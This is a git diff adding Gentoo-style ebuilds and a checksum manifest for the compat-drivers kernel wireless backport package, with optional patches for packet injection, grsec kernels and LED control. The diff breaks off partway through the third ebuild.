+AUX 4004_zd1211rw-2.6.28.patch 1412 SHA256 6696295acb2a8d12a33208525cba9ce8bd2971c9c0adaabb31debfa9ec15c7be SHA512 2aa73fa8e87cb06220b589f528ba25fcec818a14a98a8d5f1173b12c287ee85e48981a48bbce772aa7fc24a33a833df2eb5bc7af0d569ea8c839090c481566ec WHIRLPOOL 4245c75995d7579b9fcc0aa1412b4f9bc4a3a924076aca24b466658740a99b0592c293420c39a616a6241ec4dce213496bf4317b73fd4b94ab1dcefbe5130382
+AUX ath_regd_optional.patch 906 SHA256 ebf117d071363e854505c18aef8c9af2652fd4a7b9cc5efe961cf5efb410dbd7 SHA512 dddc5e428f7d2a372ac17cce913c397ac408e20eb17af55633ea8984d6e69e8f7fe134436a4176606740d64fd66579c6a30a358cac393cb22f9a09d10f66e9d3 WHIRLPOOL b46164a1444d74f22d0e4f1e02ed556b52f87d5132871698ab93abd2076656e4ecadb7dc914d571df15a9bd18169ebaef67d4539a7919f1e2ffdd3df3b60cd90
+AUX compat-drivers-3.7_rc1_p6-grsec-warnings.patch 1261 SHA256 d960b976fe4e82beb2ceba3cc3eccdd064f54d9cc269f2b08d351c5a7fb528f7 SHA512 044020bacf79790f5ce10c0373f05568dfca2456f0087b3a04e5162b7602fb97371923acc6987d8732a64373ad77a4df65dae90f55e2bd7b20757f0b32d6af8c WHIRLPOOL d4b61222a97d496516575ff1bee4b9bec0d86fe9115a4ea4789b994fb1890444c568f866b4289f2ecaf9a399aec7453588aa6a842e7c48bce61320d48cd2eb86
+AUX compat-drivers-3.7_rc1_p6-grsec.patch 356575 SHA256 aefac7264cd36791af4194a4c9ed5a5a90a68d51c3ef1ba1af280c263ad394e2 SHA512 6aa48f042efac4c9a94ca7592f548e6dc5b8796c56a1827239b9d2e357ba23d14373b986e4cd789aedf07ce0a02eca2bdd3304a0bef751b8914367c9dc1b7fff WHIRLPOOL 986b202f601b4efb894ed8b0ab39f099af14b61deb687f670c83c3a587947e83b1180910d79bb701a6c5c92607ab529f6be229f840844cb08efaef165a83123f
+AUX compat-drivers-3.8-ath6kl.patch 1415 SHA256 53510c3ee47144a77cf4514e016d62e43f8c92be1480f930b5ddbcc311be53fd SHA512 e88c0e7a0ebf4740643ab7a44b67e452a5ecea990ebca33ef608bec3072b0888f0d27e8bac1f452dd78efe889a7eff0a3ccd000b7d78ea50148e97297bf3590c WHIRLPOOL 47ed0e6e8364f48f7f2aa3dae9effba16a00dab43adbef110dd56e042455bcab112c064fd222b802faa45d24a15d18e92e52bf99b91f719c925dc39d90a6a483
+AUX compat-drivers-3.8-bt_tty.patch 1295 SHA256 e1307946a4ed6185b1850d95f3920ff747e584e6b23dad95220c8b0809fe6de1 SHA512 a4f5e68cb2e7e8972c9271d9519c688fe26cf0ba35b925ecd2270668d4ac8d22a25137596a07cc106cca53afe31e7771d77151b4e4361c22d3332ae5920062ee WHIRLPOOL ff3fe54d241411d5885e002571226247933d8e5d85e5786c2ffeb0ab6637b5c692c362beae5f85b0454ff01454f3277b11f339aeef0d9da4cb71d4356cc9101e
+AUX compat-drivers-3.8-driver-select 22310 SHA256 31d7fc0eaa6f7a9528b1dbf948af9e9b4d5990f9a7fe3e060030a6108e0ce457 SHA512 67650594fe29a277bb1a2c1e0beebb11610b001a205abd14c42b996a49a47bd94eecf5ad265a3b53ecef3db7732624b37ecf9ef3dda62278c266d7cdb84a743b WHIRLPOOL 32e4e11eab76ea22555f481d9e15256dc09b1760b0e63a78d0f18a9a9dcfcb1b726ee90b7ea47ddf9a6f60e07c94e73115f6f2c6d35030ff9df79cdee69d6339
+AUX ipw2200-inject.3.4.6.patch 4173 SHA256 0b649bd7b6d2bf22667edc96949b5ab92cc7fb5c543b4385c17c5e0f47fe4109 SHA512 ebee3efda7b94898ea18a89f57c515d5237ef3c2a1eaf0bd13949ec4663a600eadede4655178355ac3f5b8ddc2eccc2cceb88eba0281ed3f614ada186a041463 WHIRLPOOL 15d94b3176719d006363f4d42a11c505643fdead8d521ccfb149cf5eee8851488aa006d4f8c750ffb5e81b23ff03d275e5fde781505e508467ff76303e612570
+AUX leds-disable-strict-3.6.6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+AUX leds-disable-strict-3.7_rc1_p6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+AUX leds-disable-strict-3.8.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+DIST compat-drivers-3.7-rc1-6.tar.gz 7877572 SHA256 688406f3d9a84246dc0d57b93b5335c9b0f276cc216e3dc7032ad6152bfff873 SHA512 1a6a747a325b19f03cfb28036232ee9186010a0cb78e753d2358d8932d81322516878df97c13e56cec6472515d30c5b99816f44c6331fc58a261cae4ab33ad43 WHIRLPOOL c33025583834726f1f2988d8eaab8c716b117d74b427b035000ae5d5b35310be486ac76fcdb0589effae6036b5a3058ae0859384e4e6c9466b659f9848036ac1
+DIST compat-drivers-3.8-1-u.tar.xz 5301964 SHA256 5208d0606ea0ebfa9ff80c7f690dc7c75d92074553b413a984c56ce51b820176 SHA512 78733504c5acc1f3c00a75e8a651ee558dc63f5ad98d8b12942c7e1b93a4451b1fca7b90cb09108b9445f79b8851e83c5f75d5ca7bbef9e1a041f1c3a6d03b2b WHIRLPOOL b9ae6ae9594a71f44e9ca25ca9036ca7ba82c69115e407e8f907cd41d1b61c4e41f2be4a4f6679be9b6b15c9e4fe4c8e6076561d525e91a25c357fccd0d05cf2
+DIST compat-drivers-3.8-rc5-1-u.tar.xz 5299080 SHA256 0952e211e7352bbb4b236853c751ab4ffffebf4923517316f9579e644e0eabc8 SHA512 bc80b129d709aaf7eb76d6ec388d4b76ce60eb9a61101eae8ad6a43c09097d927651f462810735f56e53b035f3b7ce3c422a2894ca4ccca234bba9c61850877c WHIRLPOOL f31192ad24b81f55d7bcf1b03ddc70b6e9d20acd8f106ab7edcfd8a461d44270d1deb1d87451f540e050c04bef2ec20524d75777357a7ebc56ef76baa7257d21
+DIST compat-drivers-3.8-rc7-1-u.tar.xz 5301132 SHA256 b53ddac5b0423d72d3945235637cbbb4559b5b527bd74d4cc9dd9e098efad4c6 SHA512 ee8f72d2acfb0aa41e90268fc68f1c42d87a7e14597f7866dd9c96a00dd8ea318b92a5b25e499d65e00b617600baa09cfc639379465e306f54f73689c3fc93c1 WHIRLPOOL 98a0b602e67f6f305f4795b8a53ad87bcabd282aa45d5e74c5c1add07084fb97fbac1d651e59e6f6a4838a4084f5d5418d59a7d49441613f91df33172b480582
+EBUILD compat-drivers-3.7_rc1_p6-r1.ebuild 6976 SHA256 82a760ef9a1448e865dd2936ab3a9824da2c2f6195bce0dec091a9c569a36f18 SHA512 dc907bea77600697458d478418fc719b046ec4e3d09443891ab7235ba40e256b5ac57f7a9355ac67ab25eca4c01e4502a4cda0667a961165549cc4c6758b4249 WHIRLPOOL 7d2361bbd4f6417f934fe7763a5d33a49da18d3a17be53d85fe422c6ce0888b889a136407edae05d10e855ac61d711800bf763a7ebe15e92f2871299b1bc51ed
+EBUILD compat-drivers-3.7_rc1_p6.ebuild 7446 SHA256 1b80374769f13fb010ab0d288b5b03ff8a1eb3edde602f09cb8e242debda222d SHA512 0020e15c77d0b3692d3ffb38cd4268b245acb8f9995612f978c41df30b98eecb7d2dc989b7ea82fb5f589eb9abfb7c4b694217fafdad1db818c9b6b521edd9d1 WHIRLPOOL 967238ad9352b14ae10c6c47d71e4fd6aa44a2ec205f161b9c74f8a1112306b2ecad6c0bff2b11c5eec54c526629639e64073204c742555731ab2e94eb047130
+EBUILD compat-drivers-3.8.ebuild 6653 SHA256 4c1be0527b999f3f9af58d603314b4cca513c6d897aea2da878066b6a14f942b SHA512 b2e717baab520f1c2ec6dda8d27ad406508bf90dd1edecb961e711e8973cd4a627f0614ea69a5f05bed53af9735a568949096740d81a802f34cec707f87ada03 WHIRLPOOL 61d7fafaaad23da136b6fb853cab9e5f1b1740b8431edec8d3020b25f9b95cd6f1e39c0fb894fc5fd9675fad6f9f16ee5666424f883bdc32e83872dab356b05b
+EBUILD compat-drivers-3.8_rc5.ebuild 6868 SHA256 5c9d8912bed6a553e855b305e6cc39dc15f983bade5b7763441b05999b241cfa SHA512 0c41ee5aa982194775f1a837cdb168564e9ec094676b2bbfff54465bbe3f296210f79eae2b8330d1c1fcbf7249d002d9a2b20c171e6b89f305768e8bf5dd54e5 WHIRLPOOL 2d38c9bc1491377d1f80d580292548d787c5370af29114e4845016a589649a30fdfee1d10fb7b4d2f1f3d37c7581f7a3ef4bfa51e623b7e784f33e62c41bdda2
+EBUILD compat-drivers-3.8_rc7.ebuild 7159 SHA256 4570a3d28d1787eb7e7ccdba41629ec311430d3c0801f53b643ba438cc19216d SHA512 919925a704f9e25ee59140c2e52b24af889ac85eae7f63b923c68faca90ecea860180e91687b26553aba8b0d5457cc7e506ddb9413fcf0841dcb7838448d53c8 WHIRLPOOL 5ca17d0e915d1c478ca9036e2d87240a43a7dbffa8e4a228305af0a6a36afbbb3b75ba4a931b2981b2035acc8467b365133e7c9c51e6a6ebeacd8f5a6484d32a
+MISC metadata.xml 3542 SHA256 644b2f777a31515bdf4f60dc8a73b1b4f713b6568793095a7cded840385cb356 SHA512 8a6b6a8f13ad183d5dc17991a0b9f4919ec955b009190ef7b2cbfb0d718c4e61e99b23a782b80ee4441516b0bf4025341c578330302c1a1c5486aa4ed1c61078 WHIRLPOOL 911eb253abf84ab62d36afcec8c1c74213d8295a13b71811ae5aed06df48e7efaea4dc2252b967c62cb26e659a9f8209b4e45b41777c52097c4d34a0b1eb25ff
diff --git a/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6-r1.ebuild b/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6-r1.ebuild
new file mode 100644
index 00000000..1495c198
--- /dev/null
+++ b/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6-r1.ebuild
@@ -0,0 +1,177 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap +ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wl1251 wl12xx zd1211rw"
+# This might work (not officially supported)
+CPD_USE_EXPAND_wifi+=" wl18xx"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_wifi+=" b44"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="atl1 atl1c atl1e atl2"
+# This might work (not officially supported)
+CPD_USE_EXPAND_ethernet+=" atlxx"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+# This might work (not officially supported)
+CPD_USE_EXPAND_various+=" bt drm"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_various+=" staging usbnet"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.7
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+# SRC_URI="http://www.kernel.org/pub/linux/kernel/projects/backports/stable/v${UPSTREAM_PV}/${PN}-${UPSTREAM_PVR}.tar.gz"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PV}/${PN}-${UPSTREAM_PVR}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${PN}-${UPSTREAM_PVR}"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use compat_drivers_wifi_b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6.ebuild b/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6.ebuild
new file mode 100644
index 00000000..1b693791
--- /dev/null
+++ b/sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6.ebuild
@@ -0,0 +1,185 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+inherit linux-mod linux-info versionator eutils
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+# SRC_URI="http://www.kernel.org/pub/linux/kernel/projects/backports/stable/v${UPSTREAM_PV}/${PN}-${UPSTREAM_PVR}.tar.gz"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PV}/${PN}-${UPSTREAM_PVR}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+alx +ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${PN}-${UPSTREAM_PVR}"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	if use ath9k_htc; then
+		sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver"
+	else
+		sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers/compat-drivers-3.8.ebuild b/sys-kernel/compat-drivers/compat-drivers-3.8.ebuild
new file mode 100644
index 00000000..ab7c1a96
--- /dev/null
+++ b/sys-kernel/compat-drivers/compat-drivers-3.8.ebuild
@@ -0,0 +1,174 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wil6210 wl1251 wl12xx zd1211rw"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="alx atl1 atl1c atl1e atl2"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.8-r1
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PVR}/${PN}-${UPSTREAM_PVR}-1-u.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${PN}-${UPSTREAM_PVR}-1-u"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat drivers to be installed"
